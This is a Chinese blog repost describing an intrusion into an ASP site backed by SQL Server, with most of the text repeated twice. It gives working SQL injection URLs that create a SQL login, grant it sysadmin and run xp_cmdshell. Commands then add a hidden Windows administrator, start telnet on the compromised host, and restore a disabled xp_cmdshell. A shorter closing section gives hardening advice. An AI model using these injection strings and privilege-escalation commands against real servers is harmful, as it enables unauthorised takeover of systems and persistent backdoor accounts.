警惕,通過SQL Server 使用者來新增Windows帳戶並提升為管理員許可權
use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--測試是否有xp_cmdshell的許可權,如果列出資料,說明有許可權
exec xp_cmdshell 'dir c:'
go
--新增windows使用者:
EXEC xp_cmdshell 'net user ghd /add';
--設定好密碼:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理員:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';
參考了http://tech.e800.com.cn/articles/2009/724/1248405497313_1.html
方法一:
利用xp_cmdshell儲存過程來新增windows使用者,並提升到管理員許可權。
然後依然利用xp_cmdshell來開啟telnet服務。最後當然是登入上去了。
方法二:
利用sp_addlogin新增sql使用者,同樣還要提升許可權。
再用查詢分析器連線SQL Server,再利用xp_cmdshell開啟telnet服務。
最後登入。
兩種方法都能夠得到shell,我就選擇第二種方法。具體過程如下:
就往SQL Server裡面新增一個使用者吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回車後執行,瀏覽器自動補上了空格,變成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
頁面依然正常顯示,不過就算你打錯了也會正常顯示的,不能夠判斷究竟是
否成功。中間的20%嗎,其實就是代表空格符的。上面也就相當於在查詢分
析器裡面執行:
use master;
dbo.sp_addlogin user;注:此處也可以為sp_addlogin user;前面的url裡
面同樣可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一樣的。
現在我們已經新增了一個使用者了,密碼現在為空,這裡就不管這麼多了,反正也是
一個過渡的過程,就不加密碼了。
如果要改密碼,可以這樣:dbo.password null,password,user;
dbo.password是修改用密碼的儲存過程,null是舊密碼,password是新密碼,
user自然就是使用者名稱了。而在我們這個測試中也就是這樣子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;
ok,回到主題,現在許可權還是不夠高,那麼就開始提升許可權吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解釋一下sysadmin的含義。SQL Server有八種固定伺服器角色,具體如下:資料
庫建立者(DBCREATOR),磁碟管理員(DISKADMIN),程式管理員(PROCESSADMIN),
安全管理員(SECURITYADMIN),伺服器管理員(SEVERADMIN)安裝管理員(SETUPADMIN)
,系統管理員(SYSADMIN),大容量管理員(BULKADMIN)當然最高許可權的是系
統管理員(SYSADMIN),預設情況下sa也是系統管理員。
dbo.sp_addsrvrolemember是為固定伺服器角色分配登入帳戶的儲存過程。
用大家經常使用的net命令來對應(本身並沒有任何聯絡,這裡拿來對照學習)
sp_addlogin user;相當於 net user user /add
sp_password null,password,user相當於net user user password
sp_addsrvrolemember user,sysadmin相當於net localgroup administrators user /add
好了,我們現在已經實現了新增使用者並且提升到sysadmin了。下面要做的是新增windows使用者並且
開啟telnet服務。
開啟我的查詢分析器,填入伺服器地址,使用者民和密碼。連線成功了。嘗試一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
記得分號是不可以少的哦。一切正常。顯示出來了c:盤下的目錄和檔案。那就繼續下去,
新增windows使用者:
xp_cmdshell ‘net user awen /add‘;
設定好密碼:
xp_cmdshell ‘net user awen password‘;
提升到管理員:
xp_cmdshell ‘net localgroup administrators awen /add‘;
開啟telnet服務:
xp_cmdshell ‘net start tlntsvr‘
一個老問題就是還有ntlm這個攔路虎。
沒問題,直接在肉雞上也新增一個使用者名稱和密碼相同的賬號然後再以這個帳號執行cmd就可以了。
具體的做法-----為cmd.exe建立一個快捷方式,右鍵點選,在"屬性"裡面鉤上"以其他使用者身
份執行"。ok,雙擊。輸入剛才的使用者名稱和密碼。更加詳細的做法清檢視阿布的文章----
最快速登入WIN2K TELNET 服務,在這裡可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html
好了,可以telnet上去了,就寫到這裡,後面還進行了一些測試,都是大家所熟悉的就不寫了。
再對前面的兩種方法進行回顧,其實兩種方法還是有區別的。
假如管理員把xp_cmdshell禁止了,第一種方法就無法進行下去了。
有人會說,第二種方法不是也一樣要用到xp_cmdshell嗎。
正確,不過我們還是有辦法恢復過來。SQL server 2000的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同樣7.0下面也是找不到xplog70.dll。
把第二種方法也寫出來,沒有測試,僅供大家參考:
1 新增使用者
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密碼
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理員許可權
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 開啟telnet服務
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是採用前面相同的方法登入
三 就本例談談怎樣進行安全防範
上面所講的是一個特定的例子,但是反應了一個問題,世界上沒有絕對的安全。
安全是有很多很多細節所組成起來的。上面例子中的管理員已經做了一些必要的安全措施。
補丁打得也很及時,但是依然存在著很大的問題。不僅僅是asp沒有過濾掉特殊字元。還有一些
比較嚴重的問題,比如說開啟了ms ftp服務,這樣入侵者就可以通過暴力破解ftp密碼來獲得
windows的密碼。
如果要談2000的安全設定,要寫上厚厚的一本書也可以。下面僅僅就這個例子中來談談。
asp程式設計要注意的一些問題:
1 涉及使用者名稱與口令的程式最好封裝在伺服器端,儘量少的在ASP檔案裡出現,
2 涉及到與資料庫連線地使用者名稱與口令應給予最小的許可權。如本例,事後問了朋友,
他使用的是sa使用者,因此我能夠執行很多的儲存過程。
3 遮蔽很多特殊字元,如; ‘這種危險的字元必須要給過濾掉。
4 在處理類似留言板、BBS等輸入框的ASP程式中,最好遮蔽掉HTML、javascript、VBScript
語句,如無特殊要求,可以限定只允許輸入字母與數字,遮蔽掉特殊字元。同時對輸入字元
的長度進行限制。而且不但在客戶端進行輸入合法性檢查,同時要在伺服器端程式中進行類
似檢查。
5 要使用access的話,千萬注意到保護好你的mdb檔案,別讓別人下載。
SQL SERVER的安全
本例中SQL SERVER的設定也存在著很多的問題。比如很多儲存過程沒有drop,是這次入侵中的
功臣,也是安全的極大的隱患。
1 使用安全的密碼策略
2 及時更新補丁程式。
與windows一樣,SQL SERVER的許多漏洞會由補丁程式來彌補。建議在安裝補丁程式之前先
在測試機器上做測試,同時提前做好目標伺服器的資料備份。而很多管理員往往不注意給SQL
SERVER打補丁。最近就有Resolution服務遠端棧緩衝區溢位漏洞,很多站點都沒有注意到。
3 嚴格控制資料庫使用者的許可權,輕易不要給讓使用者對錶有直接的查詢、更改、插入、刪除許可權,
可以通過給使用者以訪問檢視的許可權,以及只具有執行儲存過程的許可權。在上面也提到了。
4 把危險的和不必要的儲存過程刪除,
xp_cmdshell,很危險的一個儲存過程,能夠執行dos命令,可以通過下述SQL語句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下儲存過程也很危險
xp_fileexist,用來確定一個檔案是否存在。 xp_getfiledetails,可以獲得檔案詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。 Xp_getnetname,可以獲得
伺服器名稱。
去掉不需要的登錄檔訪問的儲存過程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要請丟棄OLE自動儲存過程,這些過程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
轉自
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--測試是否有xp_cmdshell的許可權,如果列出資料,說明有許可權
exec xp_cmdshell 'dir c:'
go
--新增windows使用者:
EXEC xp_cmdshell 'net user ghd /add';
--設定好密碼:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理員:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';
參考了http://tech.e800.com.cn/articles/2009/724/1248405497313_1.html
方法一:
利用xp_cmdshell儲存過程來新增windows使用者,並提升到管理員許可權。
然後依然利用xp_cmdshell來開啟telnet服務。最後當然是登入上去了。
方法二:
利用sp_addlogin新增sql使用者,同樣還要提升許可權。
再用查詢分析器連線SQL Server,再利用xp_cmdshell開啟telnet服務。
最後登入。
兩種方法都能夠得到shell,我就選擇第二種方法。具體過程如下:
就往SQL Server裡面新增一個使用者吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回車後執行,瀏覽器自動補上了空格,變成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
頁面依然正常顯示,不過就算你打錯了也會正常顯示的,不能夠判斷究竟是
否成功。中間的20%嗎,其實就是代表空格符的。上面也就相當於在查詢分
析器裡面執行:
use master;
dbo.sp_addlogin user;注:此處也可以為sp_addlogin user;前面的url裡
面同樣可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一樣的。
現在我們已經新增了一個使用者了,密碼現在為空,這裡就不管這麼多了,反正也是
一個過渡的過程,就不加密碼了。
如果要改密碼,可以這樣:dbo.password null,password,user;
dbo.password是修改用密碼的儲存過程,null是舊密碼,password是新密碼,
user自然就是使用者名稱了。而在我們這個測試中也就是這樣子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;
ok,回到主題,現在許可權還是不夠高,那麼就開始提升許可權吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解釋一下sysadmin的含義。SQL Server有八種固定伺服器角色,具體如下:資料
庫建立者(DBCREATOR),磁碟管理員(DISKADMIN),程式管理員(PROCESSADMIN),
安全管理員(SECURITYADMIN),伺服器管理員(SEVERADMIN)安裝管理員(SETUPADMIN)
,系統管理員(SYSADMIN),大容量管理員(BULKADMIN)當然最高許可權的是系
統管理員(SYSADMIN),預設情況下sa也是系統管理員。
dbo.sp_addsrvrolemember是為固定伺服器角色分配登入帳戶的儲存過程。
用大家經常使用的net命令來對應(本身並沒有任何聯絡,這裡拿來對照學習)
sp_addlogin user;相當於 net user user /add
sp_password null,password,user相當於net user user password
sp_addsrvrolemember user,sysadmin相當於net localgroup administrators user /add
好了,我們現在已經實現了新增使用者並且提升到sysadmin了。下面要做的是新增windows使用者並且
開啟telnet服務。
開啟我的查詢分析器,填入伺服器地址,使用者民和密碼。連線成功了。嘗試一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
記得分號是不可以少的哦。一切正常。顯示出來了c:盤下的目錄和檔案。那就繼續下去,
新增windows使用者:
xp_cmdshell ‘net user awen /add‘;
設定好密碼:
xp_cmdshell ‘net user awen password‘;
提升到管理員:
xp_cmdshell ‘net localgroup administrators awen /add‘;
開啟telnet服務:
xp_cmdshell ‘net start tlntsvr‘
一個老問題就是還有ntlm這個攔路虎。
沒問題,直接在肉雞上也新增一個使用者名稱和密碼相同的賬號然後再以這個帳號執行cmd就可以了。
具體的做法-----為cmd.exe建立一個快捷方式,右鍵點選,在"屬性"裡面鉤上"以其他使用者身
份執行"。ok,雙擊。輸入剛才的使用者名稱和密碼。更加詳細的做法清檢視阿布的文章----
最快速登入WIN2K TELNET 服務,在這裡可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html
好了,可以telnet上去了,就寫到這裡,後面還進行了一些測試,都是大家所熟悉的就不寫了。
再對前面的兩種方法進行回顧,其實兩種方法還是有區別的。
假如管理員把xp_cmdshell禁止了,第一種方法就無法進行下去了。
有人會說,第二種方法不是也一樣要用到xp_cmdshell嗎。
正確,不過我們還是有辦法恢復過來。SQL server 2000的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同樣7.0下面也是找不到xplog70.dll。
把第二種方法也寫出來,沒有測試,僅供大家參考:
1 新增使用者
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密碼
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理員許可權
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 開啟telnet服務
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是採用前面相同的方法登入
三 就本例談談怎樣進行安全防範
上面所講的是一個特定的例子,但是反應了一個問題,世界上沒有絕對的安全。
安全是有很多很多細節所組成起來的。上面例子中的管理員已經做了一些必要的安全措施。
補丁打得也很及時,但是依然存在著很大的問題。不僅僅是asp沒有過濾掉特殊字元。還有一些
比較嚴重的問題,比如說開啟了ms ftp服務,這樣入侵者就可以通過暴力破解ftp密碼來獲得
windows的密碼。
如果要談2000的安全設定,要寫上厚厚的一本書也可以。下面僅僅就這個例子中來談談。
asp程式設計要注意的一些問題:
1 涉及使用者名稱與口令的程式最好封裝在伺服器端,儘量少的在ASP檔案裡出現,
2 涉及到與資料庫連線地使用者名稱與口令應給予最小的許可權。如本例,事後問了朋友,
他使用的是sa使用者,因此我能夠執行很多的儲存過程。
3 遮蔽很多特殊字元,如; ‘這種危險的字元必須要給過濾掉。
4 在處理類似留言板、BBS等輸入框的ASP程式中,最好遮蔽掉HTML、javascript、VBScript
語句,如無特殊要求,可以限定只允許輸入字母與數字,遮蔽掉特殊字元。同時對輸入字元
的長度進行限制。而且不但在客戶端進行輸入合法性檢查,同時要在伺服器端程式中進行類
似檢查。
5 要使用access的話,千萬注意到保護好你的mdb檔案,別讓別人下載。
SQL SERVER的安全
本例中SQL SERVER的設定也存在著很多的問題。比如很多儲存過程沒有drop,是這次入侵中的
功臣,也是安全的極大的隱患。
1 使用安全的密碼策略
2 及時更新補丁程式。
與windows一樣,SQL SERVER的許多漏洞會由補丁程式來彌補。建議在安裝補丁程式之前先
在測試機器上做測試,同時提前做好目標伺服器的資料備份。而很多管理員往往不注意給SQL
SERVER打補丁。最近就有Resolution服務遠端棧緩衝區溢位漏洞,很多站點都沒有注意到。
3 嚴格控制資料庫使用者的許可權,輕易不要給讓使用者對錶有直接的查詢、更改、插入、刪除許可權,
可以通過給使用者以訪問檢視的許可權,以及只具有執行儲存過程的許可權。在上面也提到了。
4 把危險的和不必要的儲存過程刪除,
xp_cmdshell,很危險的一個儲存過程,能夠執行dos命令,可以通過下述SQL語句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下儲存過程也很危險
xp_fileexist,用來確定一個檔案是否存在。 xp_getfiledetails,可以獲得檔案詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。 Xp_getnetname,可以獲得
伺服器名稱。
去掉不需要的登錄檔訪問的儲存過程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要請丟棄OLE自動儲存過程,這些過程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
轉自
海東的技術資料:http://www.cnblogs.com/ghd258/articles/1575028.html
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/14184018/viewspace-1180825/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 有效管理Windows系統帳戶許可權Windows
- SQL Server 許可權管理SQLServer
- 開啟Win7管理員帳戶 避開操作許可權提示Win7
- windows7管理員許可權Windows
- Windows 本地特權提升 (Local Privilege Escalation,簡稱 LPE) 是指攻擊者利用作業系統或應用程式中的漏洞,從一個已有的低許可權使用者帳戶提升到更高許可權的使用者帳戶(例如管理員或系統帳戶),從而獲得更大的控制權。Windows作業系統
- Docker安全:通過Docker提升許可權Docker
- 程式碼批量新增ACL管理員許可權
- 2 Day DBA-管理Oracle例項-管理使用者帳戶和安全-給使用者帳戶授予許可權和角色Oracle
- sql許可權管理SQL
- mysql8.0新增使用者,並指定許可權MySql
- linux為使用者新增sudo許可權Linux
- 2 Day DBA-管理Oracle例項-關於管理帳戶和許可權-SYSDBA和SYSOPER系統許可權Oracle
- SQL Server許可權問題SQLServer
- linux新增使用者,並賦予root許可權Linux
- Windows7如何取得檔案管理員許可權?Windows
- Linux為普通使用者新增sudo許可權Linux
- 2 Day DBA-管理Oracle例項-關於管理帳戶和許可權-SYS和SYSTEM使用者Oracle
- 2 Day DBA-管理Oracle例項-管理使用者帳戶和安全-關於使用者許可權和角色Oracle
- sql server的許可權查詢SQLServer
- 如何通過注入SQL語句盜取網站管理許可權AHSQL網站
- PostgreSQL_通過schema控制使用者許可權SQL
- 程式請求管理員許可權
- windows10管理員許可權怎麼設定_win10電腦設定管理員許可權的步驟WindowsWin10
- .NET 程式許可權控制、獲得管理員許可權程式碼
- PrintNightmare漏洞補丁再被繞過!新的手段可獲得Windows管理員許可權Windows
- 2 Day DBA-管理Oracle例項-關於管理帳戶和許可權-修改角色Oracle
- 2 Day DBA-管理Oracle例項-關於管理帳戶和許可權-建立角色Oracle
- 【許可權管理】Oracle中檢視、回收使用者許可權Oracle
- 關於SQL Server資料庫中的使用者許可權和角色管理SQLServer資料庫
- win10管理員賬戶無許可權怎麼辦 win10是管理員但是沒有許可權如何獲取Win10
- 為什麼win10沒有管理員許可權_win10沒有管理員許可權的解決方法Win10
- SQL Server SA許可權最新入侵方法SQLServer
- win10管理員許可權怎麼取消_win10如何關掉管理員許可權Win10
- w10如何獲得管理員許可權_win10怎麼取得管理員許可權Win10
- 如何獲取最高管理員許可權 win10教育版最高管理員許可權Win10
- Windows環境下提升程式的許可權Windows
- MYSQL 建立賬戶,並賦予許可權MySql
- w10使用者賬戶控制管理員許可權不能開啟如何解決